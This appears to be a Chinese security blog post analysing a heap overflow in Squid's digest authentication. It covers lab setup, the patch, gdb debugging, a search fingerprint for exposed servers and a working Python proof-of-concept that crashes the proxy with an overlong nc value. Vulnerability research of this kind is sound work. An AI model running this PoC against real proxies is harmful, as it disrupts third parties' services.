最新Squid 拒绝服务漏洞分析

admin 2023年10月27日07:46:51评论6 views字数 11186阅读37分17秒阅读模式

基本信

开启了digest身份认证的squid代理服务器存在堆溢出漏洞,未经身份验证的攻击者可以利用该漏洞造成拒绝服务。

指纹

hunter


web.title="ERROR The requested URL could not be retrieved"

影响版本

squid


3.2.0.1-5.9, 6.0-6.3

环境搭建

按照configure脚本的提示安装各个依赖,而后执行如下:

export C_INCLUDE_PATH=/usr/include/libxml2export CPLUS_INCLUDE_PATH=/usr/include/libxml2./configure  '--build=x86_64-linux-gnu' '--prefix=/root/squid/squid-6.3/build' '--includedir=${prefix}/include' '--mandir=${prefix}/share/man' '--infodir=${prefix}/share/info' '--sysconfdir=/etc' '--localstatedir=/var' '--disable-option-checking' '--disable-silent-rules' '--libdir=${prefix}/lib/x86_64-linux-gnu' '--runstatedir=/run' '--disable-maintainer-mode' '--disable-dependency-tracking' 'BUILDCXXFLAGS=-g -O2 -ffile-prefix-map=/build/reproducible-path/squid-6.3=. -fstack-protector-strong -fstack-clash-protection -Wformat -Werror=format-security -fcf-protection -Wno-error=deprecated-declarations -Wdate-time -D_FORTIFY_SOURCE=2 -Wl,-z,relro -Wl,-z,now ' 'BUILDCXX=g++' '--with-build-environment=default' '--enable-build-info=Debian linux' '--datadir=/usr/share/squid' '--sysconfdir=/etc/squid' '--libexecdir=/usr/lib/squid' '--mandir=/usr/share/man' '--enable-inline' '--disable-arch-native' '--enable-async-io=8' '--enable-storeio=ufs,aufs,diskd,rock' '--enable-removal-policies=lru,heap' '--enable-delay-pools'  '--enable-icap-client' '--enable-follow-x-forwarded-for' '--enable-auth-basic=DB,fake,getpwnam,LDAP,NCSA,PAM,POP3,RADIUS,SASL,SMB' '--enable-auth-digest=file,LDAP' '--enable-auth-negotiate=wrapper' '--enable-auth-ntlm=fake,SMB_LM' '--enable-external-acl-helpers=file_userip,LDAP_group,SQL_session,unix_group,wbinfo_group' '--enable-security-cert-validators=fake' '--enable-storeid-rewrite-helpers=file' '--enable-url-rewrite-helpers=fake' '--enable-eui' '--enable-esi'  '--enable-zph-qos'  '--disable-translation' '--with-swapdir=/var/spool/squid' '--with-logdir=/var/log/squid' '--with-pidfile=/run/squid.pid' '--with-filedescriptors=65536' '--with-large-files' '--with-default-user=proxy' '--enable-linux-netfilter' '--without-systemd' '--with-gnutls' 'build_alias=x86_64-linux-gnu' 'CFLAGS=-g -O2 -ffile-prefix-map=/build/reproducible-path/squid-6.3=. -fstack-protector-strong -fstack-clash-protection -Wformat -Werror=format-security -fcf-protection -Wno-error=deprecated-declarations' 'LDFLAGS=-Wl,-z,relro -Wl,-z,now ' 'CPPFLAGS=-Wdate-time -D_FORTIFY_SOURCE=2' 'CXXFLAGS=-g -O2 -ffile-prefix-map=/build/reproducible-path/squid-6.3=. -fstack-protector-strong -fstack-clash-protection -Wformat -Werror=format-security -fcf-protection -Wno-error=deprecated-declarations' '--disable-optimizations'

配置在squid.conf添加如下

auth_param digest program /usr/lib/squid/digest_file_auth -c /etc/squid/password.digestauth_param digest realm localhostacl authenticated proxy_auth REQUIREDhttp_access allow authenticatedhttp_port 3128

test:localhost:39df1982ed1fef9f74ecd670a2a93c66

使用如下请求触发


curl -i -k http://target -x 192.168.59.197:3128  -U test:123456 --proxy-digest

技术分析&调试

补丁分析

补丁修复于srcauthdigestConfig.cc,可以看出补丁主要是对value.size进行了判断,在修复前虽然判断了value.size()是否为8,但仅仅打印了一条调试信息,后面仍然调用xstrncpy进行复制。在补丁处如果nc参数不是8则不会调用xstrncpy进行复制。最新Squid 拒绝服务漏洞分析

而xstrncpy要写入的长度参数来源于value.size(),value是一个String类型变量

case DIGEST_NC:            if (value.size() != 8) {                debugs(29, 9, "Invalid nc '" << value << "' in '" << temp << "'");            }            xstrncpy(digest_request->nc, value.rawBuf(), value.size() + 1);            debugs(29, 9, "Found noncecount '" << digest_request->nc << "'");            break;
char *xstrncpy(char *dst, const char *src, size_t n){ char *r = dst;
if (!n || !dst) return dst;
if (src) while (--n != 0 && *src != '') { *dst = *src; ++dst; ++src; }
*dst = ''; return r;}

可以看出这是一个越界写漏洞,可以造成堆溢出。动态调试

断点如下


gefb Auth::Digest::Config::decodegefb Config.cc:829

通过curl触发断点

curl -i -k http://host -x 192.168.59.197:3128  -U test:123456 --proxy-digest

此时调用栈如下


gef➤  bt#0  Auth::Digest::Config::decode (this=0x55a2e598a470,    proxy_auth=0x55a2e5cc50e7 "username="test",realm="localhost",nonce="52a18c55ec2a173b665ae8c4d1b947b6",uri="/",cnonce="b315dc470396be779b18a73909a139f1",nc=00000001,response="edda2d0982c717bd74ad9989da11b158",qop="auth"",    request=0x55a2e61210e0, aRequestRealm=0x0) at Config.cc:830#1  0x000055a2e483a895 in Auth::SchemeConfig::CreateAuthUser (    proxy_auth=0x55a2e5cc50e0 "Digest username="test",realm="localhost",nonce="52a18c55ec2a173b665ae8c4d1b947b6",uri="/",cnonce="b315dc470396be779b18a73909a139f1",nc=00000001,response="edda2d0982c717bd74ad9989da11b158",qop="auth"", al=...)    at SchemeConfig.cc:55#2  0x000055a2e4840d94 in Auth::UserRequest::authenticate (auth_user_request=0x55a2e611ee20,    headertype=Http::PROXY_AUTHORIZATION, request=0x55a2e61210e0, conn=0x55a2e6118e78, src_addr=..., al=...) at UserRequest.cc:354#3  0x000055a2e4841952 in Auth::UserRequest::tryToAuthenticateAndSetAuthUser (aUR=0x55a2e611ee20,    headertype=Http::PROXY_AUTHORIZATION, request=0x55a2e61210e0, conn=0x55a2e6118e78, src_addr=..., al=...) at UserRequest.cc:453#4  0x000055a2e4807766 in AuthenticateAcl (ch=0x55a2e611ec88) at Acl.cc:57#5  0x000055a2e4809a2d in ACLProxyAuth::match (this=0x55a2e598ac40, checklist=0x55a2e611ec88) at AclProxyAuth.cc:55#6  0x000055a2e4861813 in ACL::matches (this=0x55a2e598ac40, checklist=0x55a2e611ec88) at Acl.cc:171#7  0x000055a2e4866b75 in ACLChecklist::matchChild (this=0x55a2e611ec88, current=0x55a2e598bc50, pos=0x55a2e598ac40,    child=0x55a2e598ac40) at Checklist.cc:93#8  0x000055a2e4866018 in Acl::AndNode::doMatch (this=0x55a2e598bc50, checklist=0x55a2e611ec88, start=0x55a2e598ac40)    at BoolOps.cc:76#9  0x000055a2e486af59 in Acl::InnerNode::match (this=0x55a2e598bc50, checklist=0x55a2e611ec88) at InnerNode.cc:91#10 0x000055a2e4861813 in ACL::matches (this=0x55a2e598bc50, checklist=0x55a2e611ec88) at Acl.cc:171#11 0x000055a2e4866b75 in ACLChecklist::matchChild (this=0x55a2e611ec88, current=0x55a2e598c098, pos=0x55a2e598bc50,    child=0x55a2e598bc50) at Checklist.cc:93#12 0x000055a2e4866198 in Acl::OrNode::doMatch (this=0x55a2e598c098, checklist=0x55a2e611ec88, start=0x55a2e598bc50)    at BoolOps.cc:114#13 0x000055a2e486af59 in Acl::InnerNode::match (this=0x55a2e598c098, checklist=0x55a2e611ec88) at InnerNode.cc:91#14 0x000055a2e4861813 in ACL::matches (this=0x55a2e598c098, checklist=0x55a2e611ec88) at Acl.cc:171#15 0x000055a2e4867883 in ACLChecklist::matchAndFinish (this=0x55a2e611ec88) at Checklist.cc:295#16 0x000055a2e4867691 in ACLChecklist::nonBlockingCheck (this=0x55a2e611ec88,    callback_=0x55a2e4749b13 <clientAccessCheckDoneWrapper(Acl::Answer, void*)>, callback_data_=0x55a2e611e8b8)    at Checklist.cc:254#17 0x000055a2e47498dc in ClientRequestContext::clientAccessCheck (this=0x55a2e611e8b8) at client_side_request.cc:660#18 0x000055a2e474da2d in ClientHttpRequest::doCallouts (this=0x55a2e6119ce8) at client_side_request.cc:1704#19 0x000055a2e4748ec8 in ClientRequestContext::hostHeaderVerify (this=0x55a2e611e8b8) at client_side_request.cc:608#20 0x000055a2e474d8ff in ClientHttpRequest::doCallouts (this=0x55a2e6119ce8) at client_side_request.cc:1697#21 0x000055a2e4727ff3 in clientProcessRequest (conn=0x55a2e6118e78, hp=..., context=0x55a2e611a740) at client_side.cc:1759#22 0x000055a2e48b338e in Http::One::Server::processParsedRequest (this=0x55a2e6118e78, context=...) at Http1Server.cc:284#23 0x000055a2e4729260 in ConnStateData::clientParseRequests (this=0x55a2e6118e78) at client_side.cc:1948#24 0x000055a2e472961a in ConnStateData::afterClientRead (this=0x55a2e6118e78) at client_side.cc:1982#25 0x000055a2e48b701c in Server::doClientRead (this=0x55a2e6118e78, io=...) at Server.cc:183#26 0x000055a2e48b8250 in CommCbMemFunT<Server, CommIoCbParams>::doDial (this=0x55a2e6117458) at ../../src/CommCalls.h:190#27 0x000055a2e48b832b in JobDialer<Server>::dial (this=0x55a2e6117458, call=...) at ../../src/base/AsyncJobCalls.h:175#28 0x000055a2e48b8137 in AsyncCallT<CommCbMemFunT<Server, CommIoCbParams> >::fire (this=0x55a2e6117420)    at ../../src/base/AsyncCall.h:147#29 0x000055a2e48d2d3c in AsyncCall::make (this=0x55a2e6117420) at AsyncCall.cc:44#30 0x000055a2e48d3e50 in AsyncCallQueue::fire (this=0x55a2e5ca15d0) at AsyncCallQueue.cc:27#31 0x000055a2e4669475 in EventLoop::dispatchCalls (this=0x7ffd91608f90) at EventLoop.cc:144#32 0x000055a2e4669381 in EventLoop::runOnce (this=0x7ffd91608f90) at EventLoop.cc:121#33 0x000055a2e46691d4 in EventLoop::run (this=0x7ffd91608f90) at EventLoop.cc:83#34 0x000055a2e47a0842 in SquidMain (argc=0x3, argv=0x7ffd916091a8) at main.cc:1661#35 0x000055a2e479fa03 in SquidMainSafe (argc=0x3, argv=0x7ffd916091a8) at main.cc:1353#36 0x000055a2e479f9bd in main (argc=0x3, argv=0x7ffd916091a8) at main.cc:1341

在gdb中可以看到value值为传入的请求的nc的值


gef➤  p value$1 = {  static npos = 0xffffffffffffffff,  size_ = 0x28,  len_ = 0x8,  static SizeMax_ = 0xffff,  buf_ = 0x55a2e6125a60 "00000001"}

长度为nc的长度,此时只需要nc长度超过目标缓冲区 digest_request->nc即可造成堆溢出。查看 digest_request定义可知nc大小为9

class UserRequest : public Auth::UserRequest{    MEMPROXY_CLASS(Auth::Digest::UserRequest);
public: UserRequest(); ~UserRequest() override;
int authenticated() const override; void authenticate(HttpRequest * request, ConnStateData * conn, Http::HdrType type) override; Direction module_direction() override; void addAuthenticationInfoHeader(HttpReply * rep, int accel) override;#if WAITING_FOR_TE virtual void addAuthenticationInfoTrailer(HttpReply * rep, int accel);#endif
void startHelperLookup(HttpRequest *request, AccessLogEntry::Pointer &al, AUTHCB *, void *) override; const char *credentialsStr() override;
char *noncehex; /* "dcd98b7102dd2f0e8b11d0f600bfb0c093" */ char *cnonce; /* "0a4f113b" */ char *realm; /* = "[email protected]" */ char *pszPass; /* = "Circle Of Life" */ char *algorithm; /* = "md5" */ char nc[9]; /* = "00000001" */ char *pszMethod; /* = "GET" */ char *qop; /* = "auth" */ char *uri; /* = "/dir/index.html" */ char *response;

digest_request为Auth::Digest::UserRequest指针,使用new分配内存,位于堆内,此时过大的nc会造成堆溢出。造成拒绝服务。

PoC构造

漏洞代码对应于处理[[../06 Protocol/HTTP digest身份认证|HTTP digest 认证]],通过该认证请求需要发送两次请求,第一次不携带认证头,此时squid会返回407,需要提取响应中的nonce,简单的使用python即可构造 PoC

import requestsfrom requests.auth import HTTPDigestAuthimport randomimport stringimport hashlibproxies={    'http':'http://192.168.59.197:3128',    'https':'http://192.168.59.197:3128'}
resp_407="""Digest realm="localhost", nonce="47e5f5dc8b7237cf1153065afe358c89", qop="auth", stale=false"""
rr='''Digest username="test",realm="localhost",nonce="47e5f5dc8b7237cf1153065afe358c89",uri="/",cnonce="a0824a23a0394203c3023085915fd744",nc=00000001,response="b45560b922d64786ef7d6c96c9071dfa",qop="auth"'''
data='''Digest username="{username}",realm="{realm}",nonce="{nonce}",uri="{uri}",cnonce="{cnonce}",nc={nc},response="{response}",qop="auth"'''

username="test"password="123456"realm="localhost"nc="00000001"*100
cnonce = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(32))
ha1 = hashlib.md5((username + ':' + realm + ':' + password).encode('utf-8')).hexdigest()ha2= hashlib.md5("GET:/".encode("utf-8")).hexdigest()

resp =requests.get(url="http://target",proxies=proxies,verify=False)if resp.status_code==407: resp_header = resp.headers nonce = resp_header["Proxy-Authenticate"].split(',')[1].split('=')[1].rstrip('"').lstrip('"')response = hashlib.md5((ha1+":"+nonce+":"+nc+":"+cnonce+":auth:"+ha2).encode('utf-8')).hexdigest()print("nonce: {}tcnonce: {}tresponse: {}".format(nonce,cnonce,response))
rdata = data.format(username=username,realm=realm,nonce=nonce,uri="/",cnonce=cnonce,nc=nc,response=response)header = { "Proxy-Authorization": rdata}
print(rdata)resp =requests.get(url="http://target.202.230",proxies=proxies,verify=False,headers=header)print(resp.status_code,resp.text)

小结

由于squid为多进程架构,在子进程因为漏洞退出时,父进程会重新生成子进程处理代理请求,实际利用比较鸡肋,也就不难理解该漏洞没有CVE编号了。

参考链接

https://github.com/squid-cache/squid/security/advisories/GHSA-phqj-m8gv-cq4ghttps://datatracker.ietf.org/doc/html/rfc7616

原文始发于微信公众号(闲聊趣说):最新Squid 拒绝服务漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月27日07:46:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   最新Squid 拒绝服务漏洞分析http://cn-sec.com/archives/2201409.html

发表评论

匿名网友 填写信息